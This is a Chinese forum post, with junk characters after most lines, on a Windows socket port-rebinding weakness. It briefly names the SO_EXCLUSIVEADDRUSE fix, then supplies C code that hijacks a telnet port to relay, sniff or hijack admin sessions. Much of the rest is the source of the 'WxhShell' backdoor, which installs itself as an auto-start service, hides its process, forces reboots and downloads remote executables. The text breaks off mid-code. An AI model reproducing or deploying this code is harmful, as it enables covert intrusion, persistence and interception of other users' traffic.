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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: OQ=0>;>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :_0"t-  
'c6t,%  
  saddr.sin_family = AF_INET; f$2DV:wuC  
r9\7I7z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); A ,$CYLj+  
16cc9%   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4lCEzWo[/  
XCAy _fL<B  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Mtw7aK  
k1h>8z.Tg  
  这意味着什么?意味着可以进行如下的攻击: :U{$G( <  
GJeP~   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <F%c"Rkh  
#'qDNY@w}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7]J7'!Iz  
$URL7hrhU  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 LA9'HC(5  
Ow3t2G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  O_S%PX  
|qAU\m"Pc  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1 x'H #  
;Yr?"|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1*VArr6*6  
:svKE.7{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 mD"[z}r)  
gXb * zt2  
  #include n)bbEXO  
  #include pPD}>q  
  #include .@`5>_  
  #include    <Na .6P  
  DWORD WINAPI ClientThread(LPVOID lpParam);   z&Kh$ $)[  
  int main() C" 2K U*  
  { g^mnYg5  
  WORD wVersionRequested; <0h,{28  
  DWORD ret; {^ jRV@  
  WSADATA wsaData; FpYeuH%  
  BOOL val; 4^IqHx;bj  
  SOCKADDR_IN saddr; J=`2{ 'l  
  SOCKADDR_IN scaddr; H'_v  
  int err; nQm (UN  
  SOCKET s; d"nms\=p  
  SOCKET sc; wV{jJyRl  
  int caddsize; ;i>(r;ZM  
  HANDLE mt; @?/>$  
  DWORD tid;   ]IM/R@  
  wVersionRequested = MAKEWORD( 2, 2 ); E=&":I6O  
  err = WSAStartup( wVersionRequested, &wsaData ); 04E S>'@  
  if ( err != 0 ) { ,bRYqU?#0  
  printf("error!WSAStartup failed!\n"); VLP'3 qX  
  return -1; ;4s7\9o  
  } ny'wS  
  saddr.sin_family = AF_INET; ZQ)vvD<  
   7 ~9Lj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pl.x_E,HP  
kBlk^=h<:w  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :< *xG&  
  saddr.sin_port = htons(23); jiGXFM2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gK_#R]  
  { ,T;T %/ S  
  printf("error!socket failed!\n"); E 5N9.t h  
  return -1; }J0HEpn4  
  } @p 2XaqZ  
  val = TRUE; NxGSs_7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 yLY$1#Sa  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1x3>XN]a  
  { y8Oz4|  
  printf("error!setsockopt failed!\n"); T$&vk#qr  
  return -1; KfkU_0R+~v  
  } sD{d8s[(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {;^GKb+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x4Wu`-4^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 wN2D{Jj  
zS/1v+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) A2p]BW&  
  { ?C`&*+  
  ret=GetLastError(); "*HVL  
  printf("error!bind failed!\n"); -A(]U"@n  
  return -1; ('oA{,#L  
  } n qC@dHP  
  listen(s,2); j9g0k<eg  
  while(1) }c@duf-l  
  { dUc ([&  
  caddsize = sizeof(scaddr); @@=e-d  
  //接受连接请求 -Crm#Ib~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `s|^  
  if(sc!=INVALID_SOCKET) ~(P\'H&(h  
  { \]Y=*+{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Qk?J4 B  
  if(mt==NULL) n>L24rL  
  { 3ahbv%y  
  printf("Thread Creat Failed!\n"); 5}|bDJ$%_  
  break; ]wHXrB8vx  
  } 'X P  
  } S '(K  
  CloseHandle(mt); 8o\KF(I  
  } B.F~/PET  
  closesocket(s); T;1aL4w"  
  WSACleanup(); ^EZ?wdL  
  return 0; mXJ`t5v^l  
  }   _`d=0l*8  
  DWORD WINAPI ClientThread(LPVOID lpParam) D`hg+64}  
  { 8\BYm|%aa  
  SOCKET ss = (SOCKET)lpParam; _BPp=(|  
  SOCKET sc; #'fQx`LV  
  unsigned char buf[4096]; a?]~Sw"@  
  SOCKADDR_IN saddr; [+(fN  
  long num; c1}i|7/XSi  
  DWORD val; ~aL&,0  
  DWORD ret; +T8]R7b9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?O.'_YS  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8umW>  
  saddr.sin_family = AF_INET; (RafidiH  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); abtYa  
  saddr.sin_port = htons(23); byN4?3 F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Nc\jA=  
  { ;uyQR8  
  printf("error!socket failed!\n"); +Cs.v.GA5  
  return -1; >goG\y  
  } 9ohO-t$XkY  
  val = 100; ot; ]?M  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) SS7C|*-Zd  
  { D22jWm2  
  ret = GetLastError(); UYkuz  
  return -1; U`kO<ztk  
  } gI{56Z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ur,{ZGm  
  { "VI2--%v3  
  ret = GetLastError(); r [4dGt  
  return -1; ,nGZ( EBD  
  } K'zBDrkW-x  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (&oT6Ji  
  { Hq0O!Zv  
  printf("error!socket connect failed!\n"); TLT6z[  
  closesocket(sc); ]>oI3&6s  
  closesocket(ss); v])R6-T-  
  return -1;  G4{TJ,~  
  } !HSX:qAP$  
  while(1) PmlQW!gfBi  
  { 4R28S]Gb  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 B/gI~e0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :r+F95e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a8cX {6  
  num = recv(ss,buf,4096,0); C sx EN4  
  if(num>0) )vy_m_f&  
  send(sc,buf,num,0); sZ%wQqy~k  
  else if(num==0) {PS|q?  
  break; O_^ uLp  
  num = recv(sc,buf,4096,0); 6UAw9 'X8  
  if(num>0) ku^0bq}BrH  
  send(ss,buf,num,0); ucX!6)Op  
  else if(num==0) ~NZ}@J{00_  
  break; QR(j7>+J^  
  } <~P([5  
  closesocket(ss); 3Ss)i7  
  closesocket(sc); OJ,Z  
  return 0 ; TF-a 1z  
  } mExJ--}  
~NB lJULS  
#waK^B)<a  
========================================================== u=& $Z  
=:(<lKf,<F  
下边附上一个代码,,WXhSHELL Azag*M?  
eJ_$Etc  
========================================================== 4{#0ci{  
-|( q 9B  
#include "stdafx.h" Vh8RVFi;c  
](SqLTB+?  
#include <stdio.h> (tz fyZ M  
#include <string.h> GpGq' 8|(  
#include <windows.h> 0uhIJc'2  
#include <winsock2.h> O+PRP"$g"  
#include <winsvc.h> ?RU_SCp-  
#include <urlmon.h> yYPFk  
g{^(EZ,  
#pragma comment (lib, "Ws2_32.lib") *(j -jbA  
#pragma comment (lib, "urlmon.lib") "J*LR  
f\c%G=y  
#define MAX_USER   100 // 最大客户端连接数 b_GAK  
#define BUF_SOCK   200 // sock buffer i$dF0.}Q  
#define KEY_BUFF   255 // 输入 buffer Rq,Fp/  
#r;uM+  
#define REBOOT     0   // 重启 Rkh ^|_<!  
#define SHUTDOWN   1   // 关机 $X]Z-RCK3  
R*>EbOuI  
#define DEF_PORT   5000 // 监听端口 Yy4l -}"  
7U`8W\-  
#define REG_LEN     16   // 注册表键长度 PLs(+>H  
#define SVC_LEN     80   // NT服务名长度 Ujfs!ikh&F  
vlx\hJ<I  
// 从dll定义API )d7U3i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "j%L*J)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mcLxX'c6<h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A}z1~Z+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oPC qv  
G:Cgq\+R  
// wxhshell配置信息  !AFii:#  
struct WSCFG { 4 k y/a1y-  
  int ws_port;         // 监听端口 Fu"@)xw/-q  
  char ws_passstr[REG_LEN]; // 口令 kd+tD!:F(  
  int ws_autoins;       // 安装标记, 1=yes 0=no *}Nh7 >d(  
  char ws_regname[REG_LEN]; // 注册表键名 mFJb9 ,  
  char ws_svcname[REG_LEN]; // 服务名 :B1a2Y^"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S<nbNSu6+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ah|`),o(k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X:d[eAu0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Qm2(Z8Gh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <hzuPi@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A]AM|2 D  
^5 ~)m6=2  
}; 06fs,!Q@  
n%I9l]  
// default Wxhshell configuration UVaz,bXla  
struct WSCFG wscfg={DEF_PORT, 0uO<7IW9  
    "xuhuanlingzhe", ky0,#ZOF  
    1, *D;VZs0O  
    "Wxhshell", \aB"D=P\ok  
    "Wxhshell", <n)R?P(or  
            "WxhShell Service", ]]lM)  
    "Wrsky Windows CmdShell Service", SCKpW#2dP{  
    "Please Input Your Password: ", hsHtLH+@  
  1, n8 e4`-cY  
  "http://www.wrsky.com/wxhshell.exe", .9KW| (uW  
  "Wxhshell.exe" Nj|~3 *KO  
    }; z+F:_  
tqT-9sEXX.  
// 消息定义模块 bZi;jl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `)_11ywZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iYl$25k/1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @d_;p<\l  
char *msg_ws_ext="\n\rExit."; V9<CeTl'  
char *msg_ws_end="\n\rQuit."; (]*!`(_b  
char *msg_ws_boot="\n\rReboot..."; 2Wq/_:  
char *msg_ws_poff="\n\rShutdown..."; u}BN)%`B  
char *msg_ws_down="\n\rSave to "; hP26Bb1  
atWB*kqI  
char *msg_ws_err="\n\rErr!"; Z=CY6Zu7  
char *msg_ws_ok="\n\rOK!"; C;.+ kE  
S[L2vM)  
char ExeFile[MAX_PATH]; 9S$?2z".2  
int nUser = 0; 3-$w5O3}  
HANDLE handles[MAX_USER]; 70{fl 4J5  
int OsIsNt; |,OTGZgc  
AlQ  
SERVICE_STATUS       serviceStatus; B(U0 ~{7a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }Q%fY&#(bp  
1PdxoRa4=  
// 函数声明 o;M-M(EZQ6  
int Install(void); f+D a W  
int Uninstall(void); ZeP3 Yjr3  
int DownloadFile(char *sURL, SOCKET wsh); }t9A#GOz  
int Boot(int flag); 9G=ZB^  
void HideProc(void); m=p<.%a  
int GetOsVer(void); NP5;&}uv*!  
int Wxhshell(SOCKET wsl); mB]Y;R<  
void TalkWithClient(void *cs); \J?5K l[*c  
int CmdShell(SOCKET sock); >5}jM5$  
int StartFromService(void); Dt8wd,B  
int StartWxhshell(LPSTR lpCmdLine); HRZ3}8Qj  
I\peO/w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d*TpHLm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SK_i 3?  
NK0hT,_  
// 数据结构和表定义 bLpGrGJs  
SERVICE_TABLE_ENTRY DispatchTable[] = [Q*aJLG  
{ HOY9{>E}z  
{wscfg.ws_svcname, NTServiceMain}, /"%QIy'{  
{NULL, NULL} Pw_[{LL  
}; O`W&`B(*k  
13:0%IO  
// 自我安装 1F_ 1bAh$  
int Install(void) GDj ViAFm  
{ mQ]wLPP{1  
  char svExeFile[MAX_PATH]; 4yu ^cix(  
  HKEY key; Q8 r 7  
  strcpy(svExeFile,ExeFile); |xQq+e}l<  
,-[dr|.  
// 如果是win9x系统,修改注册表设为自启动 "3Z<V8xB  
if(!OsIsNt) { Q&Ox\*sMK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *|DIG{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `nDgwp:b"  
  RegCloseKey(key); 1*Ui=M4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >{]mN5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l TJqWSV=f  
  RegCloseKey(key); %<Q?|}  
  return 0; h f1f  
    } n\Y|0\ B  
  } =w&<LJPJ  
} C4ut!I #  
else { -j 6U{l  
)!``P?3?  
// 如果是NT以上系统,安装为系统服务 }uE8o"q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ghgo"-,#  
if (schSCManager!=0) ! B_?_ a  
{ j!H\hj/]  
  SC_HANDLE schService = CreateService Z 7M%}V%  
  ( $&|*v1rH  
  schSCManager, Nl^{w'X0h  
  wscfg.ws_svcname, &G>EBKn\2`  
  wscfg.ws_svcdisp, L('G1J}  
  SERVICE_ALL_ACCESS, d#9"_{P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F+@E6I'g  
  SERVICE_AUTO_START, a+CHrnU\;  
  SERVICE_ERROR_NORMAL, 6T_Mk0Sf+  
  svExeFile, buhn~ c  
  NULL, g(0 |p6R  
  NULL, $LF  
  NULL, =*YK6  
  NULL, K"sfN~@rT[  
  NULL KR6*)?c`  
  ); hC.7Z]  
  if (schService!=0) <E|K<}W#  
  { b:}`O!UBw  
  CloseServiceHandle(schService); ZTx~+'(  
  CloseServiceHandle(schSCManager); wxg`[c$:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RJ_ratKN*g  
  strcat(svExeFile,wscfg.ws_svcname); <(Wa8PY2(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AE)<ee%\\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m$xyUv1  
  RegCloseKey(key); xwj%X%2  
  return 0; 2dr[0tE  
    } y/m^G=Q6g#  
  } nuB@Fkr  
  CloseServiceHandle(schSCManager); F` ifHO  
} o 2 5kFD  
} rZy38Wo  
~{[~ =~\u  
return 1; u|=G#y;3  
} )CzWq}:  
:ji_dQ8k  
// 自我卸载  8IH&=3  
int Uninstall(void) OjCT*qyU<  
{ +SmcZ^\OZ  
  HKEY key; byv(:xk|'e  
[ed%"f  
if(!OsIsNt) { HB$*xS1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ! G%LYHx  
  RegDeleteValue(key,wscfg.ws_regname); 8Us5Oi  
  RegCloseKey(key); Hm+-gI3*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,XW6W&vR;  
  RegDeleteValue(key,wscfg.ws_regname); Lrr^obc  
  RegCloseKey(key); 2k[i7Rl \c  
  return 0; 2FO.!m  
  } _1c'~;  
} u!%]?MSc  
} *0y+=,"QU  
else { ? kew[oZ  
5( lE$&   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9jiZtwRpk  
if (schSCManager!=0) 1{%EQhNd  
{ ,LXuU8sB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B:tST(  
  if (schService!=0) I C9:&C[  
  { B7TA:K  
  if(DeleteService(schService)!=0) { MjG=6.J|`  
  CloseServiceHandle(schService); Y$EqBN  
  CloseServiceHandle(schSCManager); RC8{QgaI  
  return 0; 2|o6~m<pE  
  } Um\Nd#=:  
  CloseServiceHandle(schService); GljxYH"]#  
  } 0K, *FdA  
  CloseServiceHandle(schSCManager); qyc:;3?wm  
} GD|uU  
} )vsiX}3  
K,' ]G&K  
return 1; ,:-S<]fS{_  
} (^eSm]<  
IR>^U  
// 从指定url下载文件 .F.4fk  
int DownloadFile(char *sURL, SOCKET wsh) l_u1 ~K  
{ q+t*3;X.  
  HRESULT hr; Tn/ 3`j {  
char seps[]= "/"; `6!l!8 v  
char *token; ReP7c3D>p  
char *file; Qg?^%O'  
char myURL[MAX_PATH]; E'$r#k:o  
char myFILE[MAX_PATH]; #HB]qa  
!5 %c`4  
strcpy(myURL,sURL); _p7c<$ ;  
  token=strtok(myURL,seps); p[&'*"o!/  
  while(token!=NULL) IQdiVj  
  { D<}KTyG]  
    file=token; v4(!~S  
  token=strtok(NULL,seps); Gw3|"14  
  } Te2XQU2,F  
ZSYXUFz  
GetCurrentDirectory(MAX_PATH,myFILE); c3!d4mC:  
strcat(myFILE, "\\"); npz*4\4  
strcat(myFILE, file); suaTXKjyk+  
  send(wsh,myFILE,strlen(myFILE),0); W*-+j*e|_P  
send(wsh,"...",3,0); _=j0Y=/IF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bR49(K$~  
  if(hr==S_OK) "VkraB.i  
return 0; $t-HJ<!  
else .BlGV2@^#  
return 1; T\b e(@r  
tp_*U,  
} j; 1X-  
kwZ 8q-0  
// 系统电源模块 |>GtClL  
int Boot(int flag) 3Zdkf]Gh  
{ I9ubVcV8  
  HANDLE hToken; 2@1A,  
  TOKEN_PRIVILEGES tkp; sju. `f>-r  
{Rjj  
  if(OsIsNt) { s{KwO+UW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6I72;e ^!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4'?kyTO~  
    tkp.PrivilegeCount = 1; Fc7mAV=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @xB"9s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kfg9l?R$I<  
if(flag==REBOOT) { vz,l{0 v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .'p_j(uv  
  return 0; +l2{EiQw  
} <y\>[7Y  
else { L$l'wz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [$]vi`c2  
  return 0; 1'R]An BV  
} RXb+"/   
  } %IW=[D6Tg  
  else { M2[;b+W9  
if(flag==REBOOT) { {*`qL0u]^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3uz@JY"mK  
  return 0; !V$m!i;  
} PE|_V  
else { d>)*!l2,C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4rc4}Yu,JI  
  return 0; STL_#|[RM  
} 8{@|M l  
} @ bPQhn#(g  
i(2s"Uww,  
return 1; tqAh &TW3+  
} X&TTw/J!^  
UOZ"#cQ  
// win9x进程隐藏模块 w=s:e M@  
void HideProc(void) bwqla43gX  
{ !GURn1vcAe  
xYRN~nr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); siZw-.  
  if ( hKernel != NULL ) X.}:gU-  
  { O2us+DhQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lSUEE0V%Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J p!Q2}  
    FreeLibrary(hKernel); VjBV2x  
  } C3u/8Mrt7  
)Pakb!0H@t  
return; lDnF(  
} sikG}p0mx<  
=m:xf&r#  
// 获取操作系统版本 w [D9Q=  
int GetOsVer(void) ^9%G7J:vGO  
{ z^T/kK3I  
  OSVERSIONINFO winfo; `-"2(Gp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _)yn6M'Dt  
  GetVersionEx(&winfo); vXAO#'4tm%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6UG7lH!M  
  return 1; 7MZBU~,r  
  else [DC8X P5 <  
  return 0; ?V4?r2$c  
} SHOg,#mV  
DFQp<Eq]7  
// 客户端句柄模块 y9{KBM%h  
int Wxhshell(SOCKET wsl) ?"N, do  
{  btJ:Wt}  
  SOCKET wsh; Waj6.PCFm  
  struct sockaddr_in client; X&8&NkH  
  DWORD myID; oa?bOm  
<xKer<D %  
  while(nUser<MAX_USER) ) kfA5xi[  
{ WId"2W3M  
  int nSize=sizeof(client); [ p$f)'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $d3al%Uo  
  if(wsh==INVALID_SOCKET) return 1; GF*8(2h2  
X9K@mX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T ]hVO'z  
if(handles[nUser]==0) 0D+[W5TB  
  closesocket(wsh); F"1)y>2k  
else P%A;EF~ v  
  nUser++; c3W9"  
  } y4PR&^l?g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'c*Q/C;  
~,WG284  
  return 0; _HW~sz|  
} epI&R)]   
S}f 3b N  
// 关闭 socket rG|lRT3-K  
void CloseIt(SOCKET wsh) {?!=~vp  
{ _dky+ E  
closesocket(wsh); ON.C%-T-  
nUser--; 5R\{&  
ExitThread(0); "j;"\i0  
} b R> G%*a  
HT0VdvLw  
// 客户端请求句柄 thy)J.<J  
void TalkWithClient(void *cs) sG[v vm  
{ T2<?4^xN  
{VtmQU? cJ  
  SOCKET wsh=(SOCKET)cs; d]{wZ#x  
  char pwd[SVC_LEN];  S {oW  
  char cmd[KEY_BUFF]; B9^ @d  
char chr[1]; |T\`wcP`q  
int i,j; b;G3&R]  
-c|dTZ8D)8  
  while (nUser < MAX_USER) { AiKja>Fl<  
  V` 7  
if(wscfg.ws_passstr) { ]rGZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~~>`WA\G5,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _<s[HGA`z  
  //ZeroMemory(pwd,KEY_BUFF); un([3r  
      i=0; a9]F.Jm  
  while(i<SVC_LEN) { r@b M3V_o  
 mo+zq~,M  
  // 设置超时 {9:[nqX  
  fd_set FdRead; B3|h$aKC  
  struct timeval TimeOut; O{b<UP'85  
  FD_ZERO(&FdRead); sA$x2[*O  
  FD_SET(wsh,&FdRead); 6a6;]lsG  
  TimeOut.tv_sec=8; sdN@ZP  
  TimeOut.tv_usec=0; cCx@VT`0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +yYxHIOZ(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OH.^m6Z  
W%&t[ _21  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WzG]9$v &  
  pwd=chr[0]; omz%:'m`~  
  if(chr[0]==0xd || chr[0]==0xa) { j3>0oe!  
  pwd=0; DQ%bcXs  
  break; [hzw..?g  
  } `W>cA64 o  
  i++; zntvKOIh  
    } m}Xb#NAF8  
DEJ0<pnQr  
  // 如果是非法用户,关闭 socket p[oR4 HWr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <L'!EcHm%]  
} 4SRjF$Bsz  
5&A{IN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _G3L+St  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dpAj9CX(  
Qp>'V<%m-  
while(1) { 1i=lJmr  
4`E[ WE:Q  
  ZeroMemory(cmd,KEY_BUFF); t&|M@Ouet  
>-8r|};+  
      // 自动支持客户端 telnet标准   QIl=Ho"c  
  j=0; ]hE%Tk-  
  while(j<KEY_BUFF) { 5SV w71 *  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c{.y9P6  
  cmd[j]=chr[0]; C_> WU   
  if(chr[0]==0xa || chr[0]==0xd) { m q#8 [D  
  cmd[j]=0; *<r\:g  
  break; P+ ejyl,  
  } hA=.${uIO  
  j++; WO;2=[#O;  
    } lU?8<X  
/Ne;Kdp  
  // 下载文件 $ljzw@k  
  if(strstr(cmd,"http://")) { .X1xpi%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {ovt 6C  
  if(DownloadFile(cmd,wsh)) b'AA*v,b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &#/UWv}f 0  
  else 5>r2&72=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r? 9D/|`  
  } S<*h1}V3/  
  else { m8}c(GwcP  
J|$UAOEDa  
    switch(cmd[0]) { 8O^<#lh  
  g \.O5H9Od  
  // 帮助 hW<TP'Zm*  
  case '?': { w-{a>ZU0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %"[`   
    break; |)KOy~"  
  } V2B@Lq"9`  
  // 安装 o|7ztpr  
  case 'i': { ~K$dQb])  
    if(Install()) 3M^s EaUI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D9yAq'k$  
    else G^1 5V'*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZuLW%z.  
    break; ol3].0Vc]  
    } =w!>/#U  
  // 卸载 !)r1zSY"g  
  case 'r': { pNFVa<D  
    if(Uninstall()) DhVO}g)2#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q%S^3C&  
    else aHR+4m~)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); evSr?ys  
    break; } "QL"%  
    } Wf!u?nH.5  
  // 显示 wxhshell 所在路径 $y$E1A6h+  
  case 'p': { Z Jgy!)1n  
    char svExeFile[MAX_PATH]; \Gl>$5np  
    strcpy(svExeFile,"\n\r"); `8 Ann~Z|k  
      strcat(svExeFile,ExeFile); PAD&sTjE*  
        send(wsh,svExeFile,strlen(svExeFile),0); Q]1s*P  
    break; yDapl(  
    } 5M v<8P~  
  // 重启 QZwZ4$jkiO  
  case 'b': { tkIpeL[d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [iXkv\  
    if(Boot(REBOOT)) f]4j7K!e]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r}S>t~p:  
    else { j^5VmG  
    closesocket(wsh); byJR6f  
    ExitThread(0); mYx6JU*`  
    } b[U;P=;=  
